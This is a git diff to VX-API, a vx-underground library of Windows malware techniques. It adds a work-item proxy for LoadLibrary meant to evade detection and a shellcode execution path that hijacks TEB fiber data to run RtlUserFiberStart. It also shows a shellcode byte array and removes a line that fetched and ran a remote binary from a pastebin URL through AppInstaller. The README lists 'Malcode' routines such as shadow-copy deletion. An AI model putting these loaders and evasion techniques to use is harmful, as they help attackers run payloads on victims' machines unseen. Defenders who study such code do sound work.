diff --git a/README.md b/README.md index 30c6238..645658e 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.402 +Version: 2.0.420 Developer: smelly__vx @@ -136,6 +136,7 @@ You're free to use this in any manner you please. You do not need to use this en | GetRtlUserProcessParameters | ReactOS | Library Loading | | GetTeb | ReactOS | Library Loading | | RtlLoadPeHeaders | smelly__vx | Library Loading | +| ProxyWorkItemLoadLibrary | Rad98, Peter Winter-Smith | Library Loading | | MpfComModifyShortcutTarget | Unknown | Malcode | | MpfComVssDeleteShadowVolumeBackups | am0nsec | Malcode | | OleGetClipboardData | Microsoft | Malcode | diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h index 6f8c33f..1584aa2 100644 --- a/VX-API/FunctionDeclaration.h +++ b/VX-API/FunctionDeclaration.h @@ -26,6 +26,9 @@ typedef NTSTATUS(NTAPI* RTLIPV4STRINGTOADDRESSW)(PCWSTR, BOOL, LPCWSTR*, PIN_ADD typedef NTSTATUS(NTAPI* RTLIPV4STRINGTOADDRESSA)(PCSTR, BOOL, LPCSTR*, PIN_ADDR); typedef PWSTR(NTAPI* RTLIPV4ADDRESSTOSTRINGW)(PIN_ADDR, PWSTR); typedef PSTR(NTAPI* RTLIPV4ADDRESSTOSTRINGA)(PIN_ADDR, PSTR); +typedef INT(NTAPI* RTLUSERFIBERSTART)(VOID); +typedef NTSTATUS(NTAPI* NTWAITFORSINGLEOBJECT)(HANDLE, BOOL, PLARGE_INTEGER); +typedef NTSTATUS(NTAPI* RTLQUEUEWORKITEM)(PRTL_WORK_ITEM_ROUTINE, PVOID, ULONG); diff --git a/VX-API/GetModuleHandleEx2.cpp b/VX-API/GetModuleHandleEx2.cpp index 592660f..eeb834c 100644 --- a/VX-API/GetModuleHandleEx2.cpp +++ b/VX-API/GetModuleHandleEx2.cpp @@ -16,7 +16,21 @@ HMODULE GetModuleHandleEx2A(_In_ LPCSTR lpModuleName) { ZeroMemoryEx(wDllName, sizeof(wDllName)); WCharStringToCharString(wDllName, Module->BaseDllName.Buffer, 64); - if (StringCompareA(lpModuleName, wDllName) == 0) + + CHAR InitialModuleName[256] = { 0 }; + CHAR IdentifiedModuleName[256] = { 0 }; + + if (StringCopyA(InitialModuleName, (PCHAR)lpModuleName) == NULL) + return NULL; + + if (StringCopyA(IdentifiedModuleName, wDllName) == NULL) + return NULL; + + PCHAR ComparisonObject1 = CaplockStringA(InitialModuleName); + PCHAR ComparisonObject2 = CaplockStringA(IdentifiedModuleName); + + + if (StringCompareA(ComparisonObject1, ComparisonObject2) == 0) return (HMODULE)Module->BaseAddress; } @@ -40,7 +54,19 @@ HMODULE GetModuleHandleEx2W(_In_ LPCWSTR lpModuleName) Module = (PLDR_MODULE)((PBYTE)Next - 16); if (Module->BaseDllName.Buffer != NULL) { - if (StringCompareW(lpModuleName, Module->BaseDllName.Buffer) == 0) + WCHAR InitialModuleName[256] = { 0 }; + WCHAR IdentifiedModuleName[256] = { 0 }; + + if (StringCopyW(InitialModuleName, (PWCHAR)lpModuleName) == NULL) + return NULL; + + if (StringCopyW(IdentifiedModuleName, Module->BaseDllName.Buffer) == NULL) + return NULL; + + PWCHAR ComparisonObject1 = CaplockStringW(InitialModuleName); + PWCHAR ComparisonObject2 = CaplockStringW(IdentifiedModuleName); + + if (StringCompareW(ComparisonObject1, ComparisonObject2) == 0) return (HMODULE)Module->BaseAddress; } diff --git a/VX-API/Internal.h b/VX-API/Internal.h index b804745..0d59434 100644 --- a/VX-API/Internal.h +++ b/VX-API/Internal.h @@ -1124,3 +1124,4 @@ typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION{ typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved); +typedef DWORD(CALLBACK* PRTL_WORK_ITEM_ROUTINE)(LPVOID); diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index 0cb5b67..f145922 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -30,20 +30,16 @@ int main(VOID) "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; - /*SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; + SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; Sei.Payload = GlobalOpenCalcPayload; Sei.dwLengthOfPayloadInBytes = 277; - Sei.MethodEnum = E_DNSQUERYEX; + Sei.MethodEnum = E_RTLUSERFIBERSTART; - ShellcodeExecutionViaFunctionCallbackMain(&Sei); - - */ - - MpfLolExecuteRemoteBinaryByAppInstallerW((PWCHAR)L"https://pastebin.com/raw/tdyShwLw", 34); - - //ShellcodeExecutionViaFunctionCallbackMain(&Sei); + HMODULE hMod = ProxyWorkItemLoadLibraryA("DBGHELP.DLL"); + + return dwError; } diff --git a/VX-API/ProcessInjectFiberData.cpp b/VX-API/ProcessInjectFiberData.cpp deleted file mode 100644 index 38705fa..0000000 --- a/VX-API/ProcessInjectFiberData.cpp +++ /dev/null @@ -1,46 +0,0 @@ -#include "Win32Helper.h" - -typedef int(WINAPI* RtlUserFiberStart)(); - -DWORD __revision_required_ProcessInjectFiberData(_In_ PCHAR Shellcode, _In_ DWORD Length) -{ - NTSTATUS status; - DWORD OldProt = 0; - - PTEB pTeb = GetTeb(); - PVOID pTebFlags = (PVOID)((UINT_PTR)pTeb + 0x17ee); - *(PCHAR)pTebFlags = *(PCHAR)pTebFlags | 0x4; - - - HMODULE hModule = GetModuleHandleA("ntdll.dll"); - RtlUserFiberStart pRtlUserFiberStart = (RtlUserFiberStart)GetProcAddress(hModule, "RtlUserFiberStart"); - - LPVOID BufferAddress = VirtualAlloc(NULL, - Length, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE); - - RtlCopyMemory(BufferAddress, Shellcode, Length); - - status = VirtualProtect(BufferAddress, - Length, - PAGE_EXECUTE_READ, - &OldProt); - - if (status != 0) - { - UINT_PTR pFiberData = (UINT_PTR)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - 0x100); - - *(LPVOID*)(pFiberData + 0x0a8) = BufferAddress; - - __writegsqword(0x20, pFiberData); - pRtlUserFiberStart(); - - HeapFree(GetProcessHeap(), 0, (LPVOID)pFiberData); - } - - VirtualFree(BufferAddress, Length, MEM_RELEASE); - return 0; -} diff --git a/VX-API/ProxyWorkItemLoadLibrary.cpp b/VX-API/ProxyWorkItemLoadLibrary.cpp new file mode 100644 index 0000000..4e902ef --- /dev/null +++ b/VX-API/ProxyWorkItemLoadLibrary.cpp @@ -0,0 +1,49 @@ +#include "Win32Helper.h" + +HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName) +{ + NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; + RTLQUEUEWORKITEM RtlQueueWorkItem = NULL; + NTSTATUS Status = STATUS_SUCCESS; + LARGE_INTEGER Timeout = { 0 }; + + NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "NtWaitForSingleObject"); + RtlQueueWorkItem = (RTLQUEUEWORKITEM)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlQueueWorkItem"); + + if (!NtWaitForSingleObject || !RtlQueueWorkItem) + return NULL; + + Status = RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryW, (PVOID)lpModuleName, WT_EXECUTEDEFAULT); + if (!NT_SUCCESS(Status)) + return NULL; + + Timeout.QuadPart = -500000; + + NtWaitForSingleObject(InlineGetCurrentProcess, FALSE, &Timeout); + + return GetModuleHandleEx2W(lpModuleName); +} + +HMODULE ProxyWorkItemLoadLibraryA(_In_ LPCSTR lpModuleName) +{ + NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; + RTLQUEUEWORKITEM RtlQueueWorkItem = NULL; + NTSTATUS Status = STATUS_SUCCESS; + LARGE_INTEGER Timeout = { 0 }; + + NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "NtWaitForSingleObject"); + RtlQueueWorkItem = (RTLQUEUEWORKITEM)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlQueueWorkItem"); + + if (!NtWaitForSingleObject || !RtlQueueWorkItem) + return NULL; + + Status = RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryA, (PVOID)lpModuleName, WT_EXECUTEDEFAULT); + if (!NT_SUCCESS(Status)) + return NULL; + + Timeout.QuadPart = -500000; + + NtWaitForSingleObject(InlineGetCurrentProcess, FALSE, &Timeout); + + return GetModuleHandleEx2A(lpModuleName); +} \ No newline at end of file diff --git a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp index b879a7b..54f1c4d 100644 --- a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp +++ b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp @@ -219,6 +219,30 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) } + case E_RTLUSERFIBERSTART: + { + RTLUSERFIBERSTART RtlUserFiberStart = NULL; + DWORD64 FiberData = NULL; + PTEB Teb = GetTeb(); + + RtlUserFiberStart = (RTLUSERFIBERSTART)GetProcAddressW((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), L"RtlUserFiberStart"); + if (RtlUserFiberStart == NULL) + goto EXIT_ROUTINE; + + Teb->SameTebFlags |= 0b100; + + FiberData = (DWORD64)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, 0x100); + if (FiberData == NULL) + goto EXIT_ROUTINE; + + *(LPVOID*)(FiberData + 0x0a8) = BinAddress; + + __writegsqword(0x20, FiberData); + + RtlUserFiberStart(); + + } + default: goto EXIT_ROUTINE; diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index f0298a9..94daf93 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -161,6 +161,7 @@ + @@ -189,8 +190,10 @@ + + @@ -205,8 +208,10 @@ + + @@ -228,6 +233,7 @@ + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index 4f457e4..50daef9 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -459,6 +459,24 @@ Source Files\Windows API Helper Functions\Helper Functions + + Source Files\Windows API Helper Functions\Cryptography Related\String Hashing + + + Source Files\Windows API Helper Functions\Cryptography Related\String Hashing + + + Source Files\Windows API Helper Functions\Library Loading + + + Source Files\Windows API Helper Functions\Library Loading + + + Source Files\Windows API Helper Functions\Helper Functions + + + Source Files\Windows API Helper Functions\Library Loading + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index deffa22..87ab918 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -88,7 +88,8 @@ typedef enum SHELLCODE_EXECUTION_METHOD { E_ENUMERATELOADEDMODULES, //30 E_ENUMPAGEFILESW, //31 E_ENUMPWRSCHEMES, //32 - E_DNSQUERYEX //33 + E_DNSQUERYEX, //33 + E_RTLUSERFIBERSTART //34 UNSTABLE, FAILS }SHELLCODE_EXECUTION_METHOD, *PSHELLCODE_EXECUTION_METHOD; typedef struct __SHELLCODE_EXECUTION_INFORMATION { @@ -165,6 +166,8 @@ DWORD64 __stdcall GetProcAddressW(_In_ DWORD64 ModuleBase, _In_ LPCWSTR lpProcNa BOOL RtlLoadPeHeaders(_Inout_ PIMAGE_DOS_HEADER* Dos, _Inout_ PIMAGE_NT_HEADERS* Nt, _Inout_ PIMAGE_FILE_HEADER* File, _Inout_ PIMAGE_OPTIONAL_HEADER* Optional, _Inout_ PBYTE* ImageBase); HMODULE GetModuleHandleEx2A(_In_ LPCSTR lpModuleName); HMODULE GetModuleHandleEx2W(_In_ LPCWSTR lpModuleName); +HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName); +HMODULE ProxyWorkItemLoadLibraryA(_In_ LPCSTR lpModuleName);